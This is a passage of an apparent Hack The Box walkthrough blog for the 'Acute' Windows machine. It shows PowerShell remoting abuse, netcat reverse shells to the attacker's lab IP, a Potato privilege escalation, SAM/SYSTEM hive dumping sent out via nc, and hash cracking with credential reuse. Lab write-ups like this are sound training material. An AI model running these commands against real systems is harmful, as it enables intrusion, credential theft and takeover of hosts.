class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;$Creds&lt;/span&gt;.GetNetworkCredential&lt;span class="o"&gt;()&lt;/span&gt;.password&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Only then did I remember this. It really had been a while since that box. I&amp;rsquo;ll review all my notes when I go back through Hack The Box later.&lt;/p&gt;&#10;&lt;p&gt;So the only option was to construct a command that made imonks run it on ATSSERVER.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Invoke-Command -ScriptBlock &lt;span class="o"&gt;{&lt;/span&gt; &lt;span class="nv"&gt;$securepasswd&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;01000000d08c9ddf0115d1118c7a00c04fc297eb0100000096ed5ae76bd0da4c825bdd9f24083e5c0000000002000000000003660000c00000001000000080f704e251793f5d4f903c7158c8213d0000000004800000a000000010000000ac2606ccfda6b4e0a9d56a20417d2f67280000009497141b794c6cb963d2460bd96ddcea35b25ff248a53af0924572cd3ee91a28dba01e062ef1c026140000000f66f5cec1b264411d8a263a2ca854bc6e453c51&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nv"&gt;$passwd&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$securepasswd&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; ConvertTo-SecureString&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nv"&gt;$creds&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; New-Object System.Management.Automation.PSCredential &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;acute\jmorgan&amp;#34;&lt;/span&gt;, &lt;span class="nv"&gt;$passwd&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nv"&gt;$creds&lt;/span&gt;.GetNetworkCredential&lt;span class="o"&gt;()&lt;/span&gt;.Password &lt;span class="o"&gt;}&lt;/span&gt; -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential &lt;span class="nv"&gt;$cred&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;I just needed to import the credential first, then read it with $Creds.GetNetworkCredential().password.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0801.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It errored. Since I couldn&amp;rsquo;t export the credential either, I decided to build the command directly.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Invoke-Command -ScriptBlock &lt;span class="o"&gt;{&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;$securepasswd&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;01000000d08c9ddf0115d1118c7a00c04fc297eb0100000096ed5ae76bd0da4c825bdd9f24083e5c0000000002000000000003660000c00000001000000080f704e251793f5d4f903c7158c8213d0000000004800000a000000010000000ac2606ccfda6b4e0a9d56a20417d2f67280000009497141b794c6cb963d2460bd96ddcea35b25ff248a53af0924572cd3ee91a28dba01e062ef1c026140000000f66f5cec1b264411d8a263a2ca854bc6e453c51&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;$passwd&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$securepasswd&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; ConvertTo-SecureString&lt;span class="p"&gt;;&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;$creds&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; New-Object System.Management.Automation.PSCredential &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;acute\jmorgan&amp;#34;&lt;/span&gt;, &lt;span class="nv"&gt;$passwd&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;$netcatCmd&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;C:\utils\netcat.exe 10.10.16.14 6666 -e cmd&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Start-Process -FilePath &lt;span class="s2"&gt;&amp;#34;cmd.exe&amp;#34;&lt;/span&gt; -ArgumentList &lt;span class="s2"&gt;&amp;#34;/c &lt;/span&gt;&lt;span class="nv"&gt;$netcatCmd&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; -Credential &lt;span class="nv"&gt;$creds&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;}&lt;/span&gt; -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential &lt;span class="nv"&gt;$cred&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;This command used the inner credential to execute the reverse-shell command.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0802.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;But just like before, it wouldn&amp;rsquo;t execute.&lt;/p&gt;&#10;&lt;p&gt;I glanced at a write-up. It pointed out that the outer user could modify wm.ps1 and then execute it. That worked around the current user&amp;rsquo;s inability to run a process with the inner credential.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Invoke-Command -ScriptBlock &lt;span class="o"&gt;{&lt;/span&gt; &lt;span class="o"&gt;((&lt;/span&gt;cat ..&lt;span class="se"&gt;\d&lt;/span&gt;esktop&lt;span class="se"&gt;\w&lt;/span&gt;m.ps1 -Raw&lt;span class="o"&gt;)&lt;/span&gt; -replace &lt;span class="s1"&gt;&amp;#39;Get-Volume&amp;#39;&lt;/span&gt;, &lt;span class="s1"&gt;&amp;#39;C:\utils\netcat.exe -e cmd 10.10.16.14 6666&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; sc -Path ..&lt;span class="se"&gt;\d&lt;/span&gt;esktop&lt;span class="se"&gt;\w&lt;/span&gt;m.ps1 &lt;span class="o"&gt;}&lt;/span&gt; -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential &lt;span class="nv"&gt;$cred&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Invoke-Command -ScriptBlock &lt;span class="o"&gt;{&lt;/span&gt; cat ..&lt;span class="se"&gt;\d&lt;/span&gt;esktop&lt;span class="se"&gt;\w&lt;/span&gt;m.ps1 &lt;span class="o"&gt;}&lt;/span&gt; -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential &lt;span class="nv"&gt;$cred&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# Run it directly below&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Invoke-Command -ScriptBlock &lt;span class="o"&gt;{&lt;/span&gt; C:&lt;span class="se"&gt;\u&lt;/span&gt;sers&lt;span class="se"&gt;\i&lt;/span&gt;monks&lt;span class="se"&gt;\d&lt;/span&gt;esktop&lt;span class="se"&gt;\w&lt;/span&gt;m.ps1 &lt;span class="o"&gt;}&lt;/span&gt; -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential &lt;span class="nv"&gt;$cred&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0803.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The shell came back successfully.&lt;/p&gt;&#10;&lt;p&gt;The first thing to do as a new user was still whoami /priv.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0804.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;You could see that plenty of privileges were enabled.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;SharpEfsPotato.exe -p C:&lt;span class="se"&gt;\W&lt;/span&gt;indows&lt;span class="se"&gt;\s&lt;/span&gt;ystem32&lt;span class="se"&gt;\W&lt;/span&gt;indowsPowerShell&lt;span class="se"&gt;\v&lt;/span&gt;1.0&lt;span class="se"&gt;\p&lt;/span&gt;owershell.exe -a &lt;span class="s2"&gt;&amp;#34;whoami | Set-Content C:\Utils\w.log&amp;#34;&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0805.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;No problem. The Potato exploit could take me straight to SYSTEM.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0806.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0807.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0808.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Nothing? What I&amp;rsquo;d been worried about had happened after all. I&amp;rsquo;d already noticed something was off when I checked the IP. The machine referred to as DC01 really was this DC01. My earlier guess was right too: it was a domain member. To attack a domain controller from a member host, you&amp;rsquo;d usually need an exploit or some exposed service on the DC. But I didn&amp;rsquo;t even have the domain controller&amp;rsquo;s real IP yet. The host on 443 was the domain controller, but most of its services weren&amp;rsquo;t exposed. That meant they should be reachable internally. I might need to build a tunnel and attack the domain controller through it.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0809.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Was its real IP still 10.10.11.145? I wasn&amp;rsquo;t sure, because connecting to port 445 there failed. Maybe this was only an edge server. There was another route: the target had PSWA enabled, and I could switch users locally. The administrator account clearly had .ACUTE appended. As I understood it, that suggested it was a domain user, with the domain appended to its name. When I was learning this, I created two accounts with the same name. For example, if the local account was called john and I wanted to join the domain, I also had to create a domain account. If the domain account name conflicted with the local account—say I created another account called john—the domain name would be appended so the local computer could distinguish them.&lt;/p&gt;&#10;&lt;p&gt;What I knew so far was that the target had PSWA enabled and the current user could switch users. So I could dump SAM and SYSTEM, crack the hashes, and try credential reuse. If things lined up, I might be able to get straight into the domain.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;reg save HKLM&lt;span class="se"&gt;\S&lt;/span&gt;YSTEM SystemBkup.hiv&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;reg save HKLM&lt;span class="se"&gt;\S&lt;/span&gt;AM SamBkup.hiv&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;I chose to transfer them with nc here. SMB seemed to error out.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;nc -l -p &lt;span class="m"&gt;10000&lt;/span&gt; &amp;gt; SamBkup.hiv&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;.&lt;span class="se"&gt;\n&lt;/span&gt;etcat.exe -n 10.10.16.14 &lt;span class="m"&gt;10000&lt;/span&gt; &amp;lt; SamBkup.hiv&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;nc -l -p &lt;span class="m"&gt;10000&lt;/span&gt; &amp;gt; SystemBkup.hiv&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;.&lt;span class="se"&gt;\n&lt;/span&gt;etcat.exe -n 10.10.16.14 &lt;span class="m"&gt;10000&lt;/span&gt; &amp;lt; SystemBkup.hiv&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; /usr/share/doc/python3-impacket/examples/secretsdump.py -sam SamBkup.hiv -system SystemBkup.hiv LOCAL&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0810.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0811.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Administrator and Natasha use the same password&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Otherwise, hashcat can also be used&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;a29f7623fd11550def0192de9246f46b&amp;#34;&lt;/span&gt; &amp;gt; hash.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;hashcat -m &lt;span class="m"&gt;1000&lt;/span&gt; hash.txt /usr/share/wordlists/rockyou.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Password@123&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0812.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I couldn&amp;rsquo;t get in from the outside. Internally, of course, I could. The current target was ATSSERVER. I was already SYSTEM on DC01, so there was nothing else I needed there. PSWA presumably didn&amp;rsquo;t allow access to ATSSERVER either, which meant it was only reachable internally. I tried using several local accounts for remote access.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;$pass&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; ConvertTo-SecureString &lt;span class="s2"&gt;&amp;#34;Password@123&amp;#34;&lt;/span&gt; -AsPlainText -Force&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;$cred&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; New-Object System.Management.Automation.PSCredential&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;ACUTE\user&amp;#34;&lt;/span&gt;, &lt;span class="nv"&gt;$pass&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential &lt;span class="nv"&gt;$cred&lt;/span&gt; -ScriptBlock &lt;span class="o"&gt;{&lt;/span&gt; whoami &lt;span class="o"&gt;}&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;None of them worked. I checked another write-up and had no idea where the author had found the user—it simply appeared. I went back to the beginning and noticed the username awallace, an abbreviation of the first user&amp;rsquo;s name. I never would have thought of that. I checked more write-ups to see what their reasoning had been.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0813.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;And I really did find the answer: any domain member account has permission to query this information.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# List available PowerShell commands&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Invoke-Command -computername ATSSERVER -ConfigurationName dc_manage -credential &lt;span class="nv"&gt;$cred&lt;/span&gt; -command &lt;span class="o"&gt;{&lt;/span&gt;get-command&lt;span class="o"&gt;}&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# List domain users&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Invoke-Command -computername ATSSERVER -ConfigurationName dc_manage -credential &lt;span class="nv"&gt;$cred&lt;/span&gt; -ScriptBlock &lt;span class="o"&gt;{&lt;/span&gt;net user /domain&lt;span class="o"&gt;}&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Invoke-Command -computername ATSSERVER -ConfigurationName dc_manage -credential &lt;span class="nv"&gt;$cred&lt;/span&gt; -ScriptBlock &lt;span class="o"&gt;{&lt;/span&gt;net user awallace /domain&lt;span class="o"&gt;}&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;I started trying these accounts. As it happened, awallace&amp;rsquo;s password was Password@123.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;$pass&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; ConvertTo-SecureString &lt;span class="s2"&gt;&amp;#34;Password@123&amp;#34;&lt;/span&gt; -AsPlainText -Force&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;$cred&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; New-Object System.Management.Automation.PSCredential&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;ACUTE\awallace&amp;#34;&lt;/span&gt;, &lt;span class="nv"&gt;$pass&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential &lt;span class="nv"&gt;$cred&lt;/span&gt; -ScriptBlock &lt;span class="o"&gt;{&lt;/span&gt; whoami &lt;span class="o"&gt;}&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Everything after this was too difficult, so all I could do was reproduce it step by step. Finding what was on the target computer would take a lot of time, and that was the next step. Before that, I tried to get a reverse shell.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential &lt;span class="nv"&gt;$cred&lt;/span&gt; -ScriptBlock &lt;span class="o"&gt;{&lt;/span&gt; C:&lt;span class="se"&gt;\W&lt;/span&gt;indows&lt;span class="se"&gt;\S&lt;/span&gt;ystem32&lt;span class="se"&gt;\W&lt;/span&gt;indowsPowerShell&lt;span class="se"&gt;\v&lt;/span&gt;1.0&lt;span 